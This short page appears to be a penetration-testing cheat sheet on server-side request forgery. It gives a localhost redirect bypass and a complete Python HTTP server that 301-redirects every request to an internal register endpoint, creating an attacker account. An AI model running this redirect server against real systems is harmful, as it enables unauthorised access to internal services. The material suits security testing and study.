Server Side Request Forgery
Perform actions on the servers behalf
Bypasses
Localhost
Using the location header to perform a redirect to 127.0.0.1
http://127.0.0.1/register?username=evil&password=evilpass&confirm=evilpassImplementation via own http server
from http.server import HTTPServer, BaseHTTPRequestHandler
class pyhandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header('Location',
'http://127.0.0.1/register?username=evil&password=evilpass&confirm=evilpass')
self.end_headers()
class pyhttp(object):
def __init__(self, server_class=HTTPServer,
handler_class=pyhandler):
self.address = server_address = ('', 80)
self.httpd = server_class(server_address, handler_class)
self.httpd.serve_forever()
pyhttp()
Last updated